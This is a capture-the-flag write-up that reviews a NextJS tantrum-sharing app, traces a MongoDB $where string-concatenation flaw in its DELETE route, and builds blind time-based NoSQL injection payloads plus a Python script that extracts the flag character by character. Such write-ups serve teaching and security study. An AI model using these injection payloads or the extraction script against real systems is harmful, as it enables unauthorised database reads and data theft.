Played with hAOckers_TV
.
NextJS application with source code review. The app allowed users to:
- register new accounts
- login
- create new tantrums
- delete tantrums
- view tantrums of other users
The source code contained roughly 1.5k lines of Typescript
leo@arch:challenge$ cloc .
47 text files.
47 unique files.
4 files ignored.
github.com/AlDanial/cloc v 1.90 T=0.04 s (1176.0 files/s, 325173.8 lines/s)
-------------------------------------------------------------------------------
Language files blank comment code
-------------------------------------------------------------------------------
JSON 5 0 0 9355
TypeScript 30 212 6 1656
CSS 1 45 0 288
JavaScript 5 17 18 258
Dockerfile 1 11 0 20
Bourne Shell 1 0 0 4
-------------------------------------------------------------------------------
SUM: 43 285 24 11581
-------------------------------------------------------------------------------
There was also a dockerfile that could be built and run
leo@arch:challenge$ docker build -t chal .
leo@arch:challenge$ docker run --name chal --rm -dit -p3000:3000 chal
The app source folder was structured as follows
leo@arch:src$ tree -L 2
.
├── app
│ ├── api
│ ├── discover
│ ├── layout.tsx
│ ├── login
│ ├── logout
│ ├── page.tsx
│ ├── register
│ ├── tantrums
│ ├── [username]
│ └── utils.ts
├── components
│ ├── About.tsx
│ ├── Bubble.tsx
│ ├── Footer.tsx
│ └── Header.tsx
...
├── initDb.js
├── lib
│ ├── db.ts
│ ├── initTantrums.json
│ ├── models
│ └── utils.ts
...
├── start.sh
├── styles
│ └── globals.css
...
12 directories, 24 files
The initDB.js
shows the setup of the application, which was run as
soon as the container started. The script read the FLAG from an
environmental variable, registered a user called tammy
and finally
added the FLAG to the mongoDB instance running in the container.
Specifically, the flag was added as the description
field of a Tantrum
.
const fs = require("fs")
const path = require("path")
const BASE_URL = "http://localhost:3000/api/v1"
const FLAG = process.env.FLAG ?? "nite{fake_flag}"
const USERNAME = "tammy"
// ...
const tantrumData = JSON.parse(fs.readFileSync(path.join(process.cwd(), "lib", "initTantrums.json"), "utf8"))
tantrumData.push({
title: "flag",
description: FLAG,
isPrivate: true,
})
for (const tantrum of tantrumData) {
const createResponse = await fetch(`${BASE_URL}/tantrums`, {
method: "POST",
headers: {
"Content-Type": "application/json",
Cookie: token,
},
body: JSON.stringify({
title: tantrum.title,
description: tantrum.description,
isPrivate: tantrum.isPrivate || false,
}),
})
if (!createResponse.ok) {
throw new Error(`Failed to create tantrum: ${await createResponse.text()}`)
}
console.log(`Created tantrum: ${tantrum.title}`)
}
So now we know what we need: read the description
of the tantrum named flag
of other tammy
!
With respect to data structures, we find User
and Tantrum
models.
export interface ITantrum {
_id: string
title: string
description: string
userId: string
date: string
isPrivate: boolean
background?: string
opacity?: number
}
export interface IUser {
username: string
password: string
tantrums: ITantrum[]
createdAt: Date
updatedAt: Date
}
During code analysis, it was possible to skip many source files, as they either contained simple helpers, or they contained front-end code that is not interesting for the challenge.
The most important to folder to analyze was therefore the
src/app/api/v1
, which contained the implementation for the various
API controllers. Of these, the most interesting one is the
controller defined within the file for handling the DELETE
method.
challenge/src/app/api/v1/tantrums/[id]/route.ts
During the code a string is created concatenating javascript code with user input. This string is then used as a where filter for the mongoDB query.
export async function DELETE(request: Request, { params }: { params: { id: string } }): Promise<NextResponse<unknown>> {
try {
const cookie = request.headers.get("cookie")
// parse cookie
const decoded = jwt.verify(token, config.jwtSecret) as { userId: string }
const { userId } = decoded
const tantrumId = atob(params.id)
await dbConnect()
// DANGEROUS!
const whereStr = `function() { return this._id === '${tantrumId}' }`
const tantrum = await Tantrum.findOne({
$where: whereStr,
})
if (!tantrum) {
return errorResponse("Request failed", "Tantrum not found", 404)
} else if (tantrum.userId !== userId) {
return errorResponse("Request failed", "Tantrum belongs to another user", 403)
}
// continue
}
}
By injecting a NoSQL payload, it was possible to obtain a Blind NoSQL Injection. Even though it is not possible to see the output, it is possible to trigger time delays conditionals to the data found in the DB. This is enough to obtain the flag.
A first payload tried was a simple OR 1=1
. Be careful on using
these payloads on production databases, as they can match all the
rows of the DB. In this case however it was fine, as it was a simple
CTF.
' || '1' == '1
To obtain arbitrary JS code exec, the idea was to introduce a function.
' || (() => {return '1'})() == '1
Then, we want to match only the row that contains the flag. Given
that in the initDb.js
the tantrum that contains the flag has
title=flag
, we can use this condition.
' || this.title === 'flag' && (() => {return '1'})() == '1
We also want to pass the value of the flag to the function, so that we can extract information by using conditionals with delays.
' || this.title === 'flag' && ((flag) => {return '1'})(this.description) == '1
Finally, to extract the first character from the flag, we can iterate over the following payload
' || this.title === 'flag' && ((flag) => { if (flag.substring(0, 1) === 'a') { sleep(5000); } return '1'})(this.description) == '1
If, when sending such request, the server sleeps for 5 seconds, then we know we have found the first character. By iterating the same approach it is possible to obtain all the characters of the flag.
The following python script automates the extraction of the flag
import requests
import string
import base64
JWT = "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NzVkN2FjOTcwYWY4ZWM4MzY5MGEzMTciLCJ1c2VybmFtZSI6InRlc3R0IiwiaWF0IjoxNzM0MTc5Njk2LCJleHAiOjE3MzQyNjYwOTZ9.GMpd0NPh4rx1KovmyV7OL5V2u8xoLCkPEkA2wEmYVTE"
flag = ""
index = 0
while True:
for c in string.printable:
payload = "' || this.title === 'flag' && ((flag) => { if (flag.substring(%d, %d) === '%c') {sleep(10000);} return '1' })(this.description) === '1" % (index, index+1, c)
b_payload = base64.b64encode(payload.encode()).decode()
url = f"https://tammys-tantrums.chalz.nitectf2024.live/api/v1/tantrums/{b_payload}"
try:
headers = {
"Cookie": JWT
}
response = requests.delete(url, headers=headers, timeout=5)
except requests.exceptions.Timeout:
print(f"FOUND: {c}!")
flag += c
index += 1
print(flag)